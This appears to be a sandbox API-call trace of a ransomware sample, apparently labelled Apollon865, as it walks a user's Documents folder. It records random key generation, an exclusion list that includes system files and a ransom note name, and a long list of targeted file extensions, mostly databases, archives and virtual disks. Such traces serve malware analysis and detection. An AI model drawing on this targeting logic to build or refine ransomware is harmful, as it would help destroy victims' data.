	[0088.925] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc7d0) returned 0x100000
	[0088.927] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.928] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.928] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.928] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.929] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.929] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.930] CloseHandle (hObject=0x15c) returned 1
	[0088.930] CloseHandle (hObject=0x9c) returned 1
	[0088.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.932] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0f1fe50, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0x3053f5f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3053f5f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7yy1j31jF02aJndzSJq", cAlternateFileName="7YY1J3~1")) returned 1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="Apollon865.txt.exe") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2=".") returned 1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="..") returned 1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="windows") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="bootmgr") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="temp") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="pagefile.sys") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="boot") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="ids.txt") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="ntuser.dat") returned -1
	[0088.932] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="perflogs") returned -1
	[0088.933] lstrcmpiW (lpString1="7yy1j31jF02aJndzSJq", lpString2="MSBuild") returned -1
	[0088.933] lstrlenW (lpString="7yy1j31jF02aJndzSJq") returned 19
	[0088.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6nT_BzP0LY40i.xls") returned 57
	[0088.933] lstrcpyW (in: lpString1=0x119e658, lpString2="7yy1j31jF02aJndzSJq" | out: lpString1="7yy1j31jF02aJndzSJq") returned="7yy1j31jF02aJndzSJq"
	[0088.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0088.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0088.933] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0088.933] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a086b90, ftCreationTime.dwHighDateTime=0x1d4c76b, ftLastAccessTime.dwLowDateTime=0xf602a3e0, ftLastAccessTime.dwHighDateTime=0x1d4c9ec, ftLastWriteTime.dwLowDateTime=0xf602a3e0, ftLastWriteTime.dwHighDateTime=0x1d4c9ec, nFileSizeHigh=0x0, nFileSizeLow=0x1291a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8I7BHAdnmVxOrQI5s.docx", cAlternateFileName="8I7BHA~1.DOC")) returned 1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="Apollon865.txt.exe") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".") returned 1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="..") returned 1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="windows") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="bootmgr") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="temp") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="pagefile.sys") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="boot") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="ids.txt") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="ntuser.dat") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="perflogs") returned -1
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2="MSBuild") returned -1
	[0088.933] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0088.933] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7yy1j31jF02aJndzSJq") returned 59
	[0088.933] lstrcpyW (in: lpString1=0x119e658, lpString2="8I7BHAdnmVxOrQI5s.docx" | out: lpString1="8I7BHAdnmVxOrQI5s.docx") returned="8I7BHAdnmVxOrQI5s.docx"
	[0088.933] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0088.933] lstrlenW (lpString="Apollon865") returned 10
	[0088.933] lstrcmpiW (lpString1="rQI5s.docx", lpString2="Apollon865") returned 1
	[0088.933] lstrlenW (lpString=".dll") returned 4
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".dll") returned 1
	[0088.933] lstrlenW (lpString=".lnk") returned 4
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".lnk") returned 1
	[0088.933] lstrlenW (lpString=".ini") returned 4
	[0088.933] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".ini") returned 1
	[0088.933] lstrlenW (lpString=".sys") returned 4
	[0088.934] lstrcmpiW (lpString1="8I7BHAdnmVxOrQI5s.docx", lpString2=".sys") returned 1
	[0088.934] lstrlenW (lpString="8I7BHAdnmVxOrQI5s.docx") returned 22
	[0088.934] lstrlenW (lpString="bak") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1
	[0088.934] lstrlenW (lpString="ba_") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1
	[0088.934] lstrlenW (lpString="dbb") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1
	[0088.934] lstrlenW (lpString="vmdk") returned 4
	[0088.934] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1
	[0088.934] lstrlenW (lpString="rar") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1
	[0088.934] lstrlenW (lpString="zip") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1
	[0088.934] lstrlenW (lpString="tgz") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1
	[0088.934] lstrlenW (lpString="vbox") returned 4
	[0088.934] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1
	[0088.934] lstrlenW (lpString="vdi") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1
	[0088.934] lstrlenW (lpString="vhd") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1
	[0088.934] lstrlenW (lpString="vhdx") returned 4
	[0088.934] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1
	[0088.934] lstrlenW (lpString="avhd") returned 4
	[0088.934] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1
	[0088.934] lstrlenW (lpString="db") returned 2
	[0088.934] lstrcmpiW (lpString1="cx", lpString2="db") returned -1
	[0088.934] lstrlenW (lpString="db2") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1
	[0088.934] lstrlenW (lpString="db3") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1
	[0088.934] lstrlenW (lpString="dbf") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1
	[0088.934] lstrlenW (lpString="mdf") returned 3
	[0088.934] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1
	[0088.934] lstrlenW (lpString="mdb") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1
	[0088.935] lstrlenW (lpString="sql") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1
	[0088.935] lstrlenW (lpString="sqlite") returned 6
	[0088.935] lstrcmpiW (lpString1="s.docx", lpString2="sqlite") returned -1
	[0088.935] lstrlenW (lpString="sqlite3") returned 7
	[0088.935] lstrcmpiW (lpString1="5s.docx", lpString2="sqlite3") returned -1
	[0088.935] lstrlenW (lpString="sqlitedb") returned 8
	[0088.935] lstrcmpiW (lpString1="I5s.docx", lpString2="sqlitedb") returned -1
	[0088.935] lstrlenW (lpString="xml") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1
	[0088.935] lstrlenW (lpString="$er") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1
	[0088.935] lstrlenW (lpString="4dd") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1
	[0088.935] lstrlenW (lpString="4dl") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1
	[0088.935] lstrlenW (lpString="^^^") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1
	[0088.935] lstrlenW (lpString="abs") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1
	[0088.935] lstrlenW (lpString="abx") returned 3
	[0088.935] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1
	[0088.935] lstrlenW (lpString="accdb") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1
	[0088.935] lstrlenW (lpString="accdc") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1
	[0088.935] lstrlenW (lpString="accde") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1
	[0088.935] lstrlenW (lpString="accdr") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1
	[0088.935] lstrlenW (lpString="accdt") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1
	[0088.935] lstrlenW (lpString="accdw") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1
	[0088.935] lstrlenW (lpString="accft") returned 5
	[0088.935] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1
	[0088.936] lstrlenW (lpString="adb") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0088.936] lstrlenW (lpString="adb") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0088.936] lstrlenW (lpString="ade") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1
	[0088.936] lstrlenW (lpString="adf") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1
	[0088.936] lstrlenW (lpString="adn") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1
	[0088.936] lstrlenW (lpString="adp") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1
	[0088.936] lstrlenW (lpString="alf") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1
	[0088.936] lstrlenW (lpString="ask") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1
	[0088.936] lstrlenW (lpString="btr") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1
	[0088.936] lstrlenW (lpString="cat") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1
	[0088.936] lstrlenW (lpString="cdb") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1
	[0088.936] lstrlenW (lpString="ckp") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1
	[0088.936] lstrlenW (lpString="cma") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1
	[0088.936] lstrlenW (lpString="cpd") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1
	[0088.936] lstrlenW (lpString="dacpac") returned 6
	[0088.936] lstrcmpiW (lpString1="s.docx", lpString2="dacpac") returned 1
	[0088.936] lstrlenW (lpString="dad") returned 3
	[0088.936] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1
	[0088.936] lstrlenW (lpString="dadiagrams") returned 10
	[0088.936] lstrcmpiW (lpString1="rQI5s.docx", lpString2="dadiagrams") returned 1
	[0088.937] lstrlenW (lpString="daschema") returned 8
	[0088.937] lstrcmpiW (lpString1="I5s.docx", lpString2="daschema") returned 1
	[0088.937] lstrlenW (lpString="db-journal") returned 10
	[0088.937] lstrcmpiW (lpString1="rQI5s.docx", lpString2="db-journal") returned 1
	[0088.937] lstrlenW (lpString="db-shm") returned 6
	[0088.937] lstrcmpiW (lpString1="s.docx", lpString2="db-shm") returned 1
	[0088.937] lstrlenW (lpString="db-wal") returned 6
	[0088.937] lstrcmpiW (lpString1="s.docx", lpString2="db-wal") returned 1
	[0088.937] lstrlenW (lpString="dbc") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1
	[0088.937] lstrlenW (lpString="dbs") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1
	[0088.937] lstrlenW (lpString="dbt") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1
	[0088.937] lstrlenW (lpString="dbv") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1
	[0088.937] lstrlenW (lpString="dbx") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1
	[0088.937] lstrlenW (lpString="dcb") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1
	[0088.937] lstrlenW (lpString="dct") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1
	[0088.937] lstrlenW (lpString="dcx") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1
	[0088.937] lstrlenW (lpString="ddl") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1
	[0088.937] lstrlenW (lpString="dlis") returned 4
	[0088.937] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1
	[0088.937] lstrlenW (lpString="dp1") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1
	[0088.937] lstrlenW (lpString="dqy") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1
	[0088.937] lstrlenW (lpString="dsk") returned 3
	[0088.937] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1
	[0088.937] lstrlenW (lpString="dsn") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1
	[0088.938] lstrlenW (lpString="dtsx") returned 4
	[0088.938] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1
	[0088.938] lstrlenW (lpString="dxl") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1
	[0088.938] lstrlenW (lpString="eco") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1
	[0088.938] lstrlenW (lpString="ecx") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1
	[0088.938] lstrlenW (lpString="edb") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1
	[0088.938] lstrlenW (lpString="epim") returned 4
	[0088.938] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1
	[0088.938] lstrlenW (lpString="fcd") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1
	[0088.938] lstrlenW (lpString="fdb") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1
	[0088.938] lstrlenW (lpString="fic") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1
	[0088.938] lstrlenW (lpString="flexolibrary") returned 12
	[0088.938] lstrcmpiW (lpString1="xOrQI5s.docx", lpString2="flexolibrary") returned 1
	[0088.938] lstrlenW (lpString="fm5") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1
	[0088.938] lstrlenW (lpString="fmp") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1
	[0088.938] lstrlenW (lpString="fmp12") returned 5
	[0088.938] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1
	[0088.938] lstrlenW (lpString="fmpsl") returned 5
	[0088.938] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1
	[0088.938] lstrlenW (lpString="fol") returned 3
	[0088.938] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1
	[0088.938] lstrlenW (lpString="fp3") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1
	[0088.939] lstrlenW (lpString="fp4") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1
	[0088.939] lstrlenW (lpString="fp5") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1
	[0088.939] lstrlenW (lpString="fp7") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1
	[0088.939] lstrlenW (lpString="fpt") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1
	[0088.939] lstrlenW (lpString="frm") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1
	[0088.939] lstrlenW (lpString="gdb") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0088.939] lstrlenW (lpString="gdb") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0088.939] lstrlenW (lpString="grdb") returned 4
	[0088.939] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1
	[0088.939] lstrlenW (lpString="gwi") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1
	[0088.939] lstrlenW (lpString="hdb") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1
	[0088.939] lstrlenW (lpString="his") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1
	[0088.939] lstrlenW (lpString="ib") returned 2
	[0088.939] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1
	[0088.939] lstrlenW (lpString="idb") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1
	[0088.939] lstrlenW (lpString="ihx") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1
	[0088.939] lstrlenW (lpString="itdb") returned 4
	[0088.939] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1
	[0088.939] lstrlenW (lpString="itw") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1
	[0088.939] lstrlenW (lpString="jet") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1
	[0088.939] lstrlenW (lpString="jtx") returned 3
	[0088.939] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1
	[0088.940] lstrlenW (lpString="kdb") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1
	[0088.940] lstrlenW (lpString="kexi") returned 4
	[0088.940] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1
	[0088.940] lstrlenW (lpString="kexic") returned 5
	[0088.940] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1
	[0088.940] lstrlenW (lpString="kexis") returned 5
	[0088.940] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1
	[0088.940] lstrlenW (lpString="lgc") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1
	[0088.940] lstrlenW (lpString="lwx") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1
	[0088.940] lstrlenW (lpString="maf") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1
	[0088.940] lstrlenW (lpString="maq") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1
	[0088.940] lstrlenW (lpString="mar") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1
	[0088.940] lstrlenW (lpString="marshal") returned 7
	[0088.940] lstrcmpiW (lpString1="5s.docx", lpString2="marshal") returned -1
	[0088.940] lstrlenW (lpString="mas") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1
	[0088.940] lstrlenW (lpString="mav") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1
	[0088.940] lstrlenW (lpString="maw") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1
	[0088.940] lstrlenW (lpString="mdbhtml") returned 7
	[0088.940] lstrcmpiW (lpString1="5s.docx", lpString2="mdbhtml") returned -1
	[0088.940] lstrlenW (lpString="mdn") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1
	[0088.940] lstrlenW (lpString="mdt") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1
	[0088.940] lstrlenW (lpString="mfd") returned 3
	[0088.940] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1
	[0088.940] lstrlenW (lpString="mpd") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1
	[0088.941] lstrlenW (lpString="mrg") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1
	[0088.941] lstrlenW (lpString="mud") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1
	[0088.941] lstrlenW (lpString="mwb") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1
	[0088.941] lstrlenW (lpString="myd") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1
	[0088.941] lstrlenW (lpString="ndf") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1
	[0088.941] lstrlenW (lpString="nnt") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1
	[0088.941] lstrlenW (lpString="nrmlib") returned 6
	[0088.941] lstrcmpiW (lpString1="s.docx", lpString2="nrmlib") returned 1
	[0088.941] lstrlenW (lpString="ns2") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1
	[0088.941] lstrlenW (lpString="ns3") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1
	[0088.941] lstrlenW (lpString="ns4") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1
	[0088.941] lstrlenW (lpString="nsf") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1
	[0088.941] lstrlenW (lpString="nv") returned 2
	[0088.941] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1
	[0088.941] lstrlenW (lpString="nv2") returned 3
	[0088.941] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1
	[0088.941] lstrlenW (lpString="nwdb") returned 4
	[0088.942] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1
	[0088.942] lstrlenW (lpString="nyf") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1
	[0088.942] lstrlenW (lpString="odb") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0088.942] lstrlenW (lpString="odb") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0088.942] lstrlenW (lpString="oqy") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1
	[0088.942] lstrlenW (lpString="ora") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1
	[0088.942] lstrlenW (lpString="orx") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1
	[0088.942] lstrlenW (lpString="owc") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1
	[0088.942] lstrlenW (lpString="p96") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1
	[0088.942] lstrlenW (lpString="p97") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1
	[0088.942] lstrlenW (lpString="pan") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1
	[0088.942] lstrlenW (lpString="pdb") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1
	[0088.942] lstrlenW (lpString="pdm") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1
	[0088.942] lstrlenW (lpString="pnz") returned 3
	[0088.942] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1
	[0088.942] lstrlenW (lpString="qry") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1
	[0088.943] lstrlenW (lpString="qvd") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1
	[0088.943] lstrlenW (lpString="rbf") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1
	[0088.943] lstrlenW (lpString="rctd") returned 4
	[0088.943] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1
	[0088.943] lstrlenW (lpString="rod") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1
	[0088.943] lstrlenW (lpString="rodx") returned 4
	[0088.943] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1
	[0088.943] lstrlenW (lpString="rpd") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1
	[0088.943] lstrlenW (lpString="rsd") returned 3
	[0088.943] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1
	[0088.943] lstrlenW (lpString="sas7bdat") returned 8
	[0088.943] lstrcmpiW (lpString1="I5s.docx", lpString2="sas7bdat") returned -1
	[0088.943] lstrlenW (lpString="sbf") returned 3
